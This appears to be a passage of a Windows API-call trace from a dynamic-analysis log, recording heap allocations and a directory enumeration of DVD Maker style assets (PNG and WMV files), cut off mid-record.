[0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922d38 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c098 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922d58 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c1a0 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb80) returned 0x927508 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x92c9d8) returned 1 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922d78 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c2a8 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.142] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922d98 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c3b0 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922db8 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c4b8 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922dd8 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c5c0 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922df8 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c6c8 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922e18 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c7d0 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922e38 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92c9f0 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.144] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.144] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.145] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.145] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.145] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922e58 [0245.145] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92caf8 [0245.145] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0245.145] GetLastError () returned 0x12 [0245.145] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.145] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0245.145] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, 